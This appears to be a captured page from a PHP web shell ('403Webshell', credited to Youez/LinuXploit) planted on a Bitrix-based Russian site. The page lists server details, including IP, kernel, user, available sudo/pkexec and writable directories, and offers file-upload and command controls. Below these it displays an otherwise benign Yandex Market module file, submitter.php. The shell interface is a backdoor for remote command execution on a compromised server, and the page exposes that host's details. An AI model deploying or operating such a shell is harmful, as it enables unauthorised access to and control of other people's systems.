403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/catalog/run/steps/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/catalog/run/steps/submitter.php
<?php
namespace Yandex\Market\Catalog\Run\Steps;

use Yandex\Market\Data;
use Yandex\Market\Result;
use Yandex\Market\Catalog;
use Yandex\Market\Catalog\Run\Storage;

class Submitter extends Data\Run\StepSkeleton
    implements Data\Run\StepClearable
{
	protected $processor;

	public function __construct(Catalog\Run\Processor $processor)
	{
		$this->processor = $processor;
	}

	public function getName()
	{
		return 'submitter';
	}

    public function clear()
    {
        $catalogId = $this->processor->getSetup()->getId();

        Catalog\Run\Storage\QueueTable::deleteBatch([
            'filter' => [ '=CATALOG_ID' => $catalogId ],
        ]);
    }

	public function run($action, $offset = null)
	{
		$result = new Result\Step();
		$offsetObject = new Data\Run\Offset($offset);

		(new Data\Run\Waterfall())
			->add(new Submitter\TasksFetcher($this->processor))
			->add(new Transport\HttpCatcher($this->getName()))
			->add(new Submitter\PrepareCategory($this->processor))
			->add(new Submitter\SubmitExecutor($this->processor, $this->getName()))
			->run($offsetObject);

		if ($offsetObject->interrupted())
		{
			$result->setOffset((string)$offsetObject);
			$result->setTotal(1);

			if ($this->processor->getParameter('progressCount') === true)
			{
				$result->setReadyCount($this->readyCount());
			}
		}

		return $result;
	}

	protected function readyCount()
	{
        return Storage\QueueTable::getCount([
            '=CATALOG_ID' => $this->processor->getSetup()->getId(),
            '=STATUS' => [ Storage\QueueTable::STATUS_SUCCESS, Storage\QueueTable::STATUS_ERROR ],
            '>=TIMESTAMP_X' => $this->processor->getParameter('initTime'),
        ]);
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit